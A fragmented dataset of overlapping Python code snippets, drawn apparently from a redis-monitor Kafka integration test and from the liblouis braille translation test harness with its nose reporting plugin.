"self.redis_monitor.settings['STATS_TOTAL'] = False self.redis_monitor.settings['STATS_PLUGINS'] = False self.redis_monitor.settings['PLUGINS'] = { 'plugins.info_monitor.InfoMonitor': None, 'plugins.stop_monitor.StopMonitor': None,",
"sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) from redis_monitor import RedisMonitor from plugins.kafka_base_monitor import KafkaBaseMonitor from kafka import KafkaClient,",
"return_dict = { \"info-test\": value, \"appid\": \"someapp\" } self._send_to_kafka(return_dict) self.redis_conn.delete(key) class TestRedisMonitor(TestCase): maxDiff",
"gone self.assertEquals(self.redis_monitor.redis_conn.get(key), None) def test_sent_to_kafka(self): success = { u'info-test': \"ABC123\", u\"appid\": u\"someapp\" }",
"not after this test is ran self.consumer.seek(0, 2) # set the info flag",
"# ensure it was sent out to kafka message_count = 0 for message",
"CustomMonitor(KafkaBaseMonitor): ''' Custom Monitor so we can run this test live without interference",
"self.redis_monitor.redis_conn = redis.Redis( host=self.redis_monitor.settings['REDIS_HOST'], port=self.redis_monitor.settings['REDIS_PORT']) self.redis_monitor._load_plugins() self.redis_monitor.stats_dict = {} self.kafka_conn = KafkaClient(self.redis_monitor.settings[ 'KAFKA_HOSTS'])",
"value, \"appid\": \"someapp\" } self._send_to_kafka(return_dict) self.redis_conn.delete(key) class TestRedisMonitor(TestCase): maxDiff = None queue_key =",
"None queue_key = \"link:istresearch.com:queue\" def setUp(self): self.redis_monitor = RedisMonitor(\"localsettings.py\") self.redis_monitor.settings = self.redis_monitor.wrapper.load(\"localsettings.py\") self.redis_monitor.logger",
"redis_monitor import RedisMonitor from plugins.kafka_base_monitor import KafkaBaseMonitor from kafka import KafkaClient, SimpleConsumer import",
"port=self.redis_monitor.settings['REDIS_PORT']) self.redis_monitor._load_plugins() self.redis_monitor.stats_dict = {} self.kafka_conn = KafkaClient(self.redis_monitor.settings[ 'KAFKA_HOSTS']) self.kafka_conn.ensure_topic_exists(\"demo_test.outbound_firehose\") self.consumer = SimpleConsumer("
] |
[
"harness file, %s\" %(harness, e.message)) f.close() tableList = [] if isinstance(harnessModule['tables'], list): tableList.extend(harnessModule['tables'])",
"u(a): if PY2: return a.encode(\"utf-8\") return a modes = { 'noContractions': noContractions, 'compbrlAtCursor':",
"# i.e. in python2 word and hyphen_mask not of the same length. if",
"section in harnessModule['tests']: flags = origflags.copy() flags.update(section.get('flags', {})) for testData in section['data']: test",
"ATM we would have to disable a whole file of tests. So, #",
"= ''.join(traceback.format_exception(exctype, value, None)) self.res.append(\"%s\\n\" % value) def finalize(self, result): failures=len(result.failures) errors=len(result.errors) total=result.testsRun",
"coding: utf-8 -*- # Liblouis test harness # # This library is free",
"else a, word, hyphen_mask)[:-1] ) else: return \"\".join( list(map(lambda a,b: \"-\"+a if b=='1'",
"brl:\", tBrl), template % (\"BRLCursorAt %d expected %d:\" %(tBrlCurPos, self.expectedBrlCursorPos), etBrlCurPosStr), \"--- end",
"should be removed, and the root of the problem found/resolved. hyphen_mask=hyphenate(tables, word+' ',",
"def __init__(self): super(Reporter, self).__init__() self.res = [] self.stream = None def setOutputStream(self, stream):",
"= [ \"--- Braille Difference Failure: %s ---\" % self.__str__(), template % (\"comment:\",",
"% (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template % (\"received brl:\", tBrl), template",
"else a, word, hyphen_mask)) ) def check_translate(self): if self.cursorPos is not None: tBrl,",
"*_harness.txt files in the harness directory. testfiles=iglob(os.path.join(harness_dir, '*_harness.txt')) for harness in testfiles: f",
"problem found/resolved. hyphen_mask=hyphenate(tables, word+' ', mode) # FIXME: why on python 2 do",
"the Makefile, i.e. we have to set up the # paths (LOUIS_TABLEPATH) manually.",
"hyphen_mask)) ) def check_translate(self): if self.cursorPos is not None: tBrl, temp1, temp2, tBrlCurPos",
"compbrlAtCursor, 'dotsIO': dotsIO, 'comp8Dots': comp8Dots, 'pass1Only': pass1Only, 'compbrlLeftCursor': compbrlLeftCursor, 'otherTrans': otherTrans, 'ucBrl': ucBrl",
"def test_allCases(): if 'HARNESS_DIR' in os.environ: # we assume that if HARNESS_DIR is",
"information of how to add a new harness or more tests for your",
"License, or (at your option) any later version. # # This library is",
"== self.expectedOutput, u(\"\\n\".join(report)) def check_cursor(self): tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode,",
"import run except ImportError: sys.stderr.write(\"The harness tests require nose. Skipping...\\n\") sys.exit(0) ### Nosetest",
"tBrlCurPos = translate(self.tables, self.input, mode=self.mode) template = \"%-25s '%s'\" tBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos)",
"hyphenated word:\", hyphenated_word), \"--- end ---\", ] assert hyphenated_word == self.expectedOutput, u(\"\\n\".join(report)) def",
"directory. testfiles=iglob(os.path.join(harness_dir, '*_harness.txt')) for harness in testfiles: f = open(harness, 'r') try: harnessModule",
"bt = BrailleTest(harness, testTables, **test) if test['testmode'] == 'translate': yield bt.check_translate if 'cursorPos'",
"== self.expectedBrlCursorPos, u(\"\\n\".join(report)) def check_hyphenate(self): hyphenated_word = self.hyphenateword(self.tables, self.input, mode=self.mode) template = \"%-25s",
"the arguments for test_file in sys.argv[1:]: testfiles.extend(iglob(os.path.join(harness_dir, test_file))) else: # Process all *_harness.txt",
"# License as published by the Free Software Foundation; either # version 3",
"assert tBrlCurPos == self.expectedBrlCursorPos, u(\"\\n\".join(report)) def check_hyphenate(self): hyphenated_word = self.hyphenateword(self.tables, self.input, mode=self.mode) template",
"comp8Dots, pass1Only, compbrlLeftCursor, otherTrans, ucBrl try: from nose.plugins import Plugin from nose import",
"'otherTrans': otherTrans, 'ucBrl': ucBrl } def showCurPos(length, pos1, marker1=\"^\", pos2=None, marker2=\"*\"): \"\"\"A helper",
"testTables, **test) if test['testmode'] == 'translate': yield bt.check_translate if 'cursorPos' in test: yield",
"Library General Public License for more details. # # You should have received",
"% (\"input:\", self.input), template % (\"expected text:\", self.expectedOutput), template % (\"actual backtranslated text:\",",
"report = [ \"--- Backtranslate failure: %s ---\" % self.__str__(), template % (\"comment:\",",
"tableList.append(harnessModule['tables']) origflags = {'testmode':'translate'} for section in harnessModule['tests']: flags = origflags.copy() flags.update(section.get('flags', {}))",
"way to mark a test as expected # failure ATM we would have",
"of the same length. if PY2: return \"\".join( map(lambda a,b: \"-\"+a if b=='1'",
"release we will pretend all tests succeeded and will # add a @expected_test",
"test['testmode'] == 'hyphenate': yield bt.check_hyphenate if __name__ == '__main__': result = run(addplugins=[Reporter()], argv=['-v',",
"''.join(traceback.format_exception(exctype, value, tb)) self.res.append(\"--- Error: ---\\n%s\\n--- end ---\\n\" % errMsg) def addFailure(self, test,",
"= \"%-25s '%s'\" tBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos) report = [ \"--- Braille Difference",
"end ---\", ] assert tBrl == self.expectedOutput, u(\"\\n\".join(report)) def check_backtranslate(self): backtranslate_output = backTranslateString(self.tables,",
"display[pos1] = marker1 if pos2: display[pos2] = marker2 return \"\".join(display) class BrailleTest(): def",
"will # add a @expected_test feature for the next release. See also #",
"Braille Difference Failure: %s ---\" % self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template %",
"template % (\"expected text:\", self.expectedOutput), template % (\"actual backtranslated text:\", backtranslate_output), \"--- end",
"marker1=\"^\", pos2=None, marker2=\"*\"): \"\"\"A helper function to make a string to show the",
"# This library is distributed in the hope that it will be useful,",
"bt.check_hyphenate if __name__ == '__main__': result = run(addplugins=[Reporter()], argv=['-v', '--with-reporter', sys.argv[0]], defaultTest=__name__) #",
"the string. # medium/longterm this hack should be removed, and the root of",
"'%s'\" report = [ \"--- Backtranslate failure: %s ---\" % self.__str__(), template %",
"<NAME> <<EMAIL>> @author: <NAME> <<EMAIL>> @author: <NAME> <<EMAIL>> \"\"\" import json import os",
"library is free software; you can redistribute it and/or # modify it under",
"showCurPos(length, pos1, marker1=\"^\", pos2=None, marker2=\"*\"): \"\"\"A helper function to make a string to",
"run except ImportError: sys.stderr.write(\"The harness tests require nose. Skipping...\\n\") sys.exit(0) ### Nosetest plugin",
"report = [ \"--- Braille Difference Failure: %s ---\" % self.__str__(), template %",
"flags = origflags.copy() flags.update(section.get('flags', {})) for testData in section['data']: test = flags.copy() testTables",
"# add a @expected_test feature for the next release. See also # http://stackoverflow.com/questions/9613932/nose-plugin-for-expected-failures",
"the given cursor.\"\"\" display = [\" \"] *length display[pos1] = marker1 if pos2:",
"---\\n%s\\n--- end ---\\n\" % errMsg) def addFailure(self, test, err): exctype, value, tb =",
"return \"\".join( list(map(lambda a,b: \"-\"+a if b=='1' else a, word, hyphen_mask)) ) def",
"(\"input:\", self.input), template % (\"expected text:\", self.expectedOutput), template % (\"actual backtranslated text:\", backtranslate_output),",
"will pretend all tests succeeded and will # add a @expected_test feature for",
"brl:\", tBrl), \"--- end ---\", ] assert tBrl == self.expectedOutput, u(\"\\n\".join(report)) def check_backtranslate(self):",
"failure: %s ---\" % self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input),",
"== self.expectedOutput, u(\"\\n\".join(report)) def test_allCases(): if 'HARNESS_DIR' in os.environ: # we assume that",
"testTables = tableList[:] test.update(testData) bt = BrailleTest(harness, testTables, **test) if test['testmode'] == 'translate':",
"self.input = input self.expectedOutput = output self.mode = mode if not mode else",
"errors.\\n\".format(total=total, percent_string=percent_string, failures=failures, errors=errors)) self.stream.write(\"\\n\".join(self.res)) ### End of nosetest plugin for controlling the",
"testfiles=[] if len(sys.argv)>1: # grab the test files from the arguments for test_file",
"files from the arguments for test_file in sys.argv[1:]: testfiles.extend(iglob(os.path.join(harness_dir, test_file))) else: # Process",
"= dummy() return d def addError(self, test, err): exctype, value, tb = err",
"Failure: %s ---\" % self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input),",
"%(tBrlCurPos, self.expectedBrlCursorPos), etBrlCurPosStr), \"--- end ---\" ] assert tBrlCurPos == self.expectedBrlCursorPos, u(\"\\n\".join(report)) def",
"without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR",
"total=result.testsRun percent_string = \" ({percent}% success)\".format(percent=round((total-failures-errors+0.0)/total*100,2)) if total > 0 else \"\" self.res.append(\"Ran",
"= cursorPos self.expectedBrlCursorPos = brlCursorPos self.comment = comment self.testmode = testmode def __str__(self):",
"= [ \"--- Hyphenation failure: %s ---\" % self.__str__(), template % (\"input:\", self.input),",
"tableList = [] if isinstance(harnessModule['tables'], list): tableList.extend(harnessModule['tables']) else: tableList.append(harnessModule['tables']) origflags = {'testmode':'translate'} for",
"assert backtranslate_output == self.expectedOutput, u(\"\\n\".join(report)) def check_cursor(self): tBrl, temp1, temp2, tBrlCurPos = translate(self.tables,",
"open(harness, 'r') try: harnessModule = json.load(f, encoding=\"UTF-8\") except ValueError as e: raise ValueError(\"%s",
"translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) template = \"%-25s '%s'\" etBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos, pos2=self.expectedBrlCursorPos)",
"free software; you can redistribute it and/or # modify it under the terms",
"(at your option) any later version. # # This library is distributed in",
"the position of the given cursor.\"\"\" display = [\" \"] *length display[pos1] =",
"(\"input:\", self.input), template % (\"received brl:\", tBrl), template % (\"BRLCursorAt %d expected %d:\"",
"the harness directory. testfiles=iglob(os.path.join(harness_dir, '*_harness.txt')) for harness in testfiles: f = open(harness, 'r')",
"add a new harness or more tests for your braille table. @author: <NAME>",
"any later version. # # This library is distributed in the hope that",
"= \" ({percent}% success)\".format(percent=round((total-failures-errors+0.0)/total*100,2)) if total > 0 else \"\" self.res.append(\"Ran {total} tests{percent_string},",
"= translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) else: tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input,",
"= flags.copy() testTables = tableList[:] test.update(testData) bt = BrailleTest(harness, testTables, **test) if test['testmode']",
"controlling the output format. ### PY2 = sys.version_info[0] == 2 def u(a): if",
"[] if isinstance(harnessModule['tables'], list): tableList.extend(harnessModule['tables']) else: tableList.append(harnessModule['tables']) origflags = {'testmode':'translate'} for section in",
"test harness # # This library is free software; you can redistribute it",
"self.cursorPos is not None: tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos)",
"except ImportError: sys.stderr.write(\"The harness tests require nose. Skipping...\\n\") sys.exit(0) ### Nosetest plugin for",
"yield bt.check_backtranslate if test['testmode'] == 'hyphenate': yield bt.check_hyphenate if __name__ == '__main__': result",
"ImportError: sys.stderr.write(\"The harness tests require nose. Skipping...\\n\") sys.exit(0) ### Nosetest plugin for controlling",
"Street, Fifth Floor, # Boston MA 02110-1301 USA. # # Copyright (c) 2012,",
"we dont add space at end of the word, probably due to a",
"def __init__(self, harnessName, tables, input, output, outputUniBrl=False, mode=0, cursorPos=None, brlCursorPos=None, testmode='translate', comment=[]): self.harnessName",
"mode=self.mode) template = \"%-25s '%s'\" tBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos) report = [ \"---",
"template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template % (\"expected text:\", self.expectedOutput),",
"template % (\"input:\", self.input), template % (\"received brl:\", tBrl), template % (\"BRLCursorAt %d",
"return a modes = { 'noContractions': noContractions, 'compbrlAtCursor': compbrlAtCursor, 'dotsIO': dotsIO, 'comp8Dots': comp8Dots,",
"License as published by the Free Software Foundation; either # version 3 of",
"self.expectedOutput, u(\"\\n\".join(report)) def check_backtranslate(self): backtranslate_output = backTranslateString(self.tables, self.input, None, mode=self.mode) template = \"%-25s",
"tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) template = \"%-25s '%s'\"",
"self.input, mode=self.mode, cursorPos=self.cursorPos) template = \"%-25s '%s'\" etBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos, pos2=self.expectedBrlCursorPos) report",
"\"--- end ---\", ] assert hyphenated_word == self.expectedOutput, u(\"\\n\".join(report)) def test_allCases(): if 'HARNESS_DIR'",
"is set that we are invoked from # the Makefile, i.e. all the",
"hyphen_mask not of the same length. if PY2: return \"\".join( map(lambda a,b: \"-\"+a",
"list(map(lambda a,b: \"-\"+a if b=='1' else a, word, hyphen_mask)) ) def check_translate(self): if",
"if self.cursorPos is not None: tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode,",
"# version 3 of the License, or (at your option) any later version.",
"'compbrlAtCursor': compbrlAtCursor, 'dotsIO': dotsIO, 'comp8Dots': comp8Dots, 'pass1Only': pass1Only, 'compbrlLeftCursor': compbrlLeftCursor, 'otherTrans': otherTrans, 'ucBrl':",
"python 2 do we need to remove the last item, and on python3",
"= self.hyphenateword(self.tables, self.input, mode=self.mode) template = \"%-25s '%s'\" report = [ \"--- Hyphenation",
"\".\" # make sure local test braille tables are found os.environ['LOUIS_TABLEPATH'] = '../tables,../../tables'",
"hyphen_mask)[:-1] ) else: return \"\".join( list(map(lambda a,b: \"-\"+a if b=='1' else a, word,",
"= [ \"--- Braille Cursor Difference Failure: %s ---\" %self.__str__(), template % (\"comment:\",",
"liblouis currently crashes if we dont add space at end of the word,",
"dummy() return d def addError(self, test, err): exctype, value, tb = err errMsg",
"for harness in testfiles: f = open(harness, 'r') try: harnessModule = json.load(f, encoding=\"UTF-8\")",
"either # version 3 of the License, or (at your option) any later",
"WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A",
"__init__(self): super(Reporter, self).__init__() self.res = [] self.stream = None def setOutputStream(self, stream): #",
"mode=self.mode) template = \"%-25s '%s'\" report = [ \"--- Hyphenation failure: %s ---\"",
"tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode) template = \"%-25s '%s'\" tBrlCurPosStr",
"output, outputUniBrl=False, mode=0, cursorPos=None, brlCursorPos=None, testmode='translate', comment=[]): self.harnessName = harnessName self.tables = tables",
"self.testmode = testmode def __str__(self): return \"%s\" % self.harnessName def hyphenateword(self, tables, word,",
"that it will be useful, # but WITHOUT ANY WARRANTY; without even the",
"running past the end of the string. # medium/longterm this hack should be",
"% (\"actual brl:\", tBrl), \"--- end ---\", ] assert tBrl == self.expectedOutput, u(\"\\n\".join(report))",
"'%s'\" etBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos, pos2=self.expectedBrlCursorPos) report = [ \"--- Braille Cursor Difference",
"os.environ['LOUIS_TABLEPATH'] = '../tables,../../tables' testfiles=[] if len(sys.argv)>1: # grab the test files from the",
"as expected # failure ATM we would have to disable a whole file",
"is not None: tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) else:",
"your option) any later version. # # This library is distributed in the",
"the harness tests should return the result of the # tests. However since",
"self.cursorPos = cursorPos self.expectedBrlCursorPos = brlCursorPos self.comment = comment self.testmode = testmode def",
"\"%-25s '%s'\" tBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos) report = [ \"--- Braille Difference Failure:",
"value, tb)) self.res.append(\"--- Error: ---\\n%s\\n--- end ---\\n\" % errMsg) def addFailure(self, test, err):",
"or (at your option) any later version. # # This library is distributed",
"**test) if test['testmode'] == 'translate': yield bt.check_translate if 'cursorPos' in test: yield bt.check_cursor",
"of the problem found/resolved. hyphen_mask=hyphenate(tables, word+' ', mode) # FIXME: why on python",
"\"\".join( map(lambda a,b: \"-\"+a if b=='1' else a, word, hyphen_mask)[:-1] ) else: return",
"FIXME: Ideally the harness tests should return the result of the # tests.",
"Inc., Franklin Street, Fifth Floor, # Boston MA 02110-1301 USA. # # Copyright",
"under the terms of the GNU Library General Public # License as published",
"GNU # Library General Public License for more details. # # You should",
"in testfiles: f = open(harness, 'r') try: harnessModule = json.load(f, encoding=\"UTF-8\") except ValueError",
"otherTrans, ucBrl try: from nose.plugins import Plugin from nose import run except ImportError:",
"all *_harness.txt files in the harness directory. testfiles=iglob(os.path.join(harness_dir, '*_harness.txt')) for harness in testfiles:",
"use self.stream = stream # return dummy stream class dummy: def write(self, *arg):",
"\"--- end ---\", ] assert tBrl == self.expectedOutput, u(\"\\n\".join(report)) def check_backtranslate(self): backtranslate_output =",
"% (\"actual backtranslated text:\", backtranslate_output), \"--- end ---\", ] assert backtranslate_output == self.expectedOutput,",
"### class Reporter(Plugin): name = 'reporter' def __init__(self): super(Reporter, self).__init__() self.res = []",
"\"--- end ---\" ] assert tBrlCurPos == self.expectedBrlCursorPos, u(\"\\n\".join(report)) def check_hyphenate(self): hyphenated_word =",
"implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the",
"if b=='1' else a, word, hyphen_mask)) ) def check_translate(self): if self.cursorPos is not",
"failure: %s ---\" % self.__str__(), template % (\"input:\", self.input), template % (\"expected hyphenated",
"# tests. However since there is no way to mark a test as",
"pos2=self.expectedBrlCursorPos) report = [ \"--- Braille Cursor Difference Failure: %s ---\" %self.__str__(), template",
"'%s'\" tBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos) report = [ \"--- Braille Difference Failure: %s",
"set up the # paths (LOUIS_TABLEPATH) manually. harness_dir = \".\" # make sure",
"test['testmode'] == 'translate': yield bt.check_translate if 'cursorPos' in test: yield bt.check_cursor if test['testmode']",
"raise ValueError(\"%s doesn't look like a harness file, %s\" %(harness, e.message)) f.close() tableList",
"nose import run except ImportError: sys.stderr.write(\"The harness tests require nose. Skipping...\\n\") sys.exit(0) ###",
"we need to remove the last item, and on python3 it is needed?",
"self.input, mode=self.mode, cursorPos=self.cursorPos) else: tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode) template",
"tb = err errMsg = ''.join(traceback.format_exception(exctype, value, tb)) self.res.append(\"--- Error: ---\\n%s\\n--- end ---\\n\"",
"release. See also # http://stackoverflow.com/questions/9613932/nose-plugin-for-expected-failures result = True sys.exit(0 if result else 1)",
"os.environ['HARNESS_DIR'] else: # we are not invoked via the Makefile, i.e. we have",
"the hope that it will be useful, # but WITHOUT ANY WARRANTY; without",
"Software Foundation; either # version 3 of the License, or (at your option)",
"failures and {errors} errors.\\n\".format(total=total, percent_string=percent_string, failures=failures, errors=errors)) self.stream.write(\"\\n\".join(self.res)) ### End of nosetest plugin",
"None, mode=self.mode) template = \"%-25s '%s'\" report = [ \"--- Backtranslate failure: %s",
"your braille table. @author: <NAME> <<EMAIL>> @author: <NAME> <<EMAIL>> @author: <NAME> <<EMAIL>> \"\"\"",
"controlling the output format. ### class Reporter(Plugin): name = 'reporter' def __init__(self): super(Reporter,",
"\" ({percent}% success)\".format(percent=round((total-failures-errors+0.0)/total*100,2)) if total > 0 else \"\" self.res.append(\"Ran {total} tests{percent_string}, with",
"= \"%-25s '%s'\" etBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos, pos2=self.expectedBrlCursorPos) report = [ \"--- Braille",
"temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode) template = \"%-25s '%s'\" tBrlCurPosStr = showCurPos(len(tBrl),",
"harness # # This library is free software; you can redistribute it and/or",
"text:\", backtranslate_output), \"--- end ---\", ] assert backtranslate_output == self.expectedOutput, u(\"\\n\".join(report)) def check_cursor(self):",
"testfiles=iglob(os.path.join(harness_dir, '*_harness.txt')) for harness in testfiles: f = open(harness, 'r') try: harnessModule =",
"library; if not, write to the # Free Software Foundation, Inc., Franklin Street,",
"modify it under the terms of the GNU Library General Public # License",
"*length display[pos1] = marker1 if pos2: display[pos2] = marker2 return \"\".join(display) class BrailleTest():",
"from louis import translate, backTranslateString, hyphenate from louis import noContractions, compbrlAtCursor, dotsIO, comp8Dots,",
"'reporter' def __init__(self): super(Reporter, self).__init__() self.res = [] self.stream = None def setOutputStream(self,",
"cursorPos=None, brlCursorPos=None, testmode='translate', comment=[]): self.harnessName = harnessName self.tables = tables if outputUniBrl: self.tables.insert(0,",
"<NAME> <<EMAIL>> \"\"\" import json import os import sys import traceback from glob",
"whole file of tests. So, # for this release we will pretend all",
"string. # medium/longterm this hack should be removed, and the root of the",
"test as expected # failure ATM we would have to disable a whole",
"tableList[:] test.update(testData) bt = BrailleTest(harness, testTables, **test) if test['testmode'] == 'translate': yield bt.check_translate",
"invoked from # the Makefile, i.e. all the paths to the Python test",
"Makefile, i.e. all the paths to the Python test files and # the",
"\"\".join(self.comment)), template % (\"input:\", self.input), template % (\"received brl:\", tBrl), template % (\"BRLCursorAt",
"% value) def finalize(self, result): failures=len(result.failures) errors=len(result.errors) total=result.testsRun percent_string = \" ({percent}% success)\".format(percent=round((total-failures-errors+0.0)/total*100,2))",
"iglob from louis import translate, backTranslateString, hyphenate from louis import noContractions, compbrlAtCursor, dotsIO,",
"sys import traceback from glob import iglob from louis import translate, backTranslateString, hyphenate",
"self.expectedOutput), template % (\"actual backtranslated text:\", backtranslate_output), \"--- end ---\", ] assert backtranslate_output",
"value, tb = err #errMsg = ''.join(traceback.format_exception(exctype, value, None)) self.res.append(\"%s\\n\" % value) def",
"def addError(self, test, err): exctype, value, tb = err errMsg = ''.join(traceback.format_exception(exctype, value,",
"position of the given cursor.\"\"\" display = [\" \"] *length display[pos1] = marker1",
"remove the last item, and on python3 it is needed? # i.e. in",
"__str__(self): return \"%s\" % self.harnessName def hyphenateword(self, tables, word, mode): # FIXME: liblouis",
"self.expectedOutput, u(\"\\n\".join(report)) def check_cursor(self): tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos)",
"d def addError(self, test, err): exctype, value, tb = err errMsg = ''.join(traceback.format_exception(exctype,",
") else: return \"\".join( list(map(lambda a,b: \"-\"+a if b=='1' else a, word, hyphen_mask))",
"end ---\\n\" % errMsg) def addFailure(self, test, err): exctype, value, tb = err",
") def check_translate(self): if self.cursorPos is not None: tBrl, temp1, temp2, tBrlCurPos =",
"{ 'noContractions': noContractions, 'compbrlAtCursor': compbrlAtCursor, 'dotsIO': dotsIO, 'comp8Dots': comp8Dots, 'pass1Only': pass1Only, 'compbrlLeftCursor': compbrlLeftCursor,",
"Franklin Street, Fifth Floor, # Boston MA 02110-1301 USA. # # Copyright (c)",
"\"] *length display[pos1] = marker1 if pos2: display[pos2] = marker2 return \"\".join(display) class",
"tBrl), template % (\"BRLCursorAt %d expected %d:\" %(tBrlCurPos, self.expectedBrlCursorPos), etBrlCurPosStr), \"--- end ---\"",
"in os.environ: # we assume that if HARNESS_DIR is set that we are",
"(\"input:\", self.input), template % (\"expected brl:\", self.expectedOutput), template % (\"actual brl:\", tBrl), \"---",
"via the Makefile, i.e. we have to set up the # paths (LOUIS_TABLEPATH)",
"harness or more tests for your braille table. @author: <NAME> <<EMAIL>> @author: <NAME>",
"currently crashes if we dont add space at end of the word, probably",
"# Boston MA 02110-1301 USA. # # Copyright (c) 2012, liblouis team, <NAME>.",
"tests should return the result of the # tests. However since there is",
"files and # the test tables are set correctly. harness_dir = os.environ['HARNESS_DIR'] else:",
"self.input), template % (\"expected hyphenated word:\", self.expectedOutput), template % (\"actual hyphenated word:\", hyphenated_word),",
"add space at end of the word, probably due to a counter running",
"---\\n\" % errMsg) def addFailure(self, test, err): exctype, value, tb = err #errMsg",
"2 def u(a): if PY2: return a.encode(\"utf-8\") return a modes = { 'noContractions':",
"for section in harnessModule['tests']: flags = origflags.copy() flags.update(section.get('flags', {})) for testData in section['data']:",
"self.harnessName def hyphenateword(self, tables, word, mode): # FIXME: liblouis currently crashes if we",
"test files from the arguments for test_file in sys.argv[1:]: testfiles.extend(iglob(os.path.join(harness_dir, test_file))) else: #",
"# Library General Public License for more details. # # You should have",
"python3 it is needed? # i.e. in python2 word and hyphen_mask not of",
"\"-\"+a if b=='1' else a, word, hyphen_mask)) ) def check_translate(self): if self.cursorPos is",
"up the # paths (LOUIS_TABLEPATH) manually. harness_dir = \".\" # make sure local",
"value, None)) self.res.append(\"%s\\n\" % value) def finalize(self, result): failures=len(result.failures) errors=len(result.errors) total=result.testsRun percent_string =",
"check_cursor(self): tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) template = \"%-25s",
"self.tables = tables if outputUniBrl: self.tables.insert(0, 'unicode.dis') self.input = input self.expectedOutput = output",
"given cursor.\"\"\" display = [\" \"] *length display[pos1] = marker1 if pos2: display[pos2]",
"harness tests require nose. Skipping...\\n\") sys.exit(0) ### Nosetest plugin for controlling the output",
"mode) # FIXME: why on python 2 do we need to remove the",
"backtranslate_output == self.expectedOutput, u(\"\\n\".join(report)) def check_cursor(self): tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input,",
"flags.copy() testTables = tableList[:] test.update(testData) bt = BrailleTest(harness, testTables, **test) if test['testmode'] ==",
"if pos2: display[pos2] = marker2 return \"\".join(display) class BrailleTest(): def __init__(self, harnessName, tables,",
"isinstance(harnessModule['tables'], list): tableList.extend(harnessModule['tables']) else: tableList.append(harnessModule['tables']) origflags = {'testmode':'translate'} for section in harnessModule['tests']: flags",
"Please see the liblouis documentation for information of how to add a new",
"self.res.append(\"--- Error: ---\\n%s\\n--- end ---\\n\" % errMsg) def addFailure(self, test, err): exctype, value,",
"<NAME> <<EMAIL>> @author: <NAME> <<EMAIL>> \"\"\" import json import os import sys import",
"== self.expectedOutput, u(\"\\n\".join(report)) def check_backtranslate(self): backtranslate_output = backTranslateString(self.tables, self.input, None, mode=self.mode) template =",
"\"\" self.res.append(\"Ran {total} tests{percent_string}, with {failures} failures and {errors} errors.\\n\".format(total=total, percent_string=percent_string, failures=failures, errors=errors))",
"Cursor Difference Failure: %s ---\" %self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\",",
"%s ---\" %self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template %",
"Python test files and # the test tables are set correctly. harness_dir =",
"the test tables are set correctly. harness_dir = os.environ['HARNESS_DIR'] else: # we are",
"a whole file of tests. So, # for this release we will pretend",
"'cursorPos' in test: yield bt.check_cursor if test['testmode'] == 'backtranslate': yield bt.check_backtranslate if test['testmode']",
"if test['testmode'] == 'backtranslate': yield bt.check_backtranslate if test['testmode'] == 'hyphenate': yield bt.check_hyphenate if",
"if not, write to the # Free Software Foundation, Inc., Franklin Street, Fifth",
"self.hyphenateword(self.tables, self.input, mode=self.mode) template = \"%-25s '%s'\" report = [ \"--- Hyphenation failure:",
"{})) for testData in section['data']: test = flags.copy() testTables = tableList[:] test.update(testData) bt",
"for information of how to add a new harness or more tests for",
"if b=='1' else a, word, hyphen_mask)[:-1] ) else: return \"\".join( list(map(lambda a,b: \"-\"+a",
"mode=self.mode) template = \"%-25s '%s'\" report = [ \"--- Backtranslate failure: %s ---\"",
"# You should have received a copy of the GNU Library General Public",
"errMsg = ''.join(traceback.format_exception(exctype, value, tb)) self.res.append(\"--- Error: ---\\n%s\\n--- end ---\\n\" % errMsg) def",
"%s ---\" % self.__str__(), template % (\"input:\", self.input), template % (\"expected hyphenated word:\",",
"that we are invoked from # the Makefile, i.e. all the paths to",
"a test as expected # failure ATM we would have to disable a",
"A PARTICULAR PURPOSE. See the GNU # Library General Public License for more",
"# # This library is free software; you can redistribute it and/or #",
"brlCursorPos self.comment = comment self.testmode = testmode def __str__(self): return \"%s\" % self.harnessName",
"and the root of the problem found/resolved. hyphen_mask=hyphenate(tables, word+' ', mode) # FIXME:",
"like a harness file, %s\" %(harness, e.message)) f.close() tableList = [] if isinstance(harnessModule['tables'],",
"tests require nose. Skipping...\\n\") sys.exit(0) ### Nosetest plugin for controlling the output format.",
"software; you can redistribute it and/or # modify it under the terms of",
"# This library is free software; you can redistribute it and/or # modify",
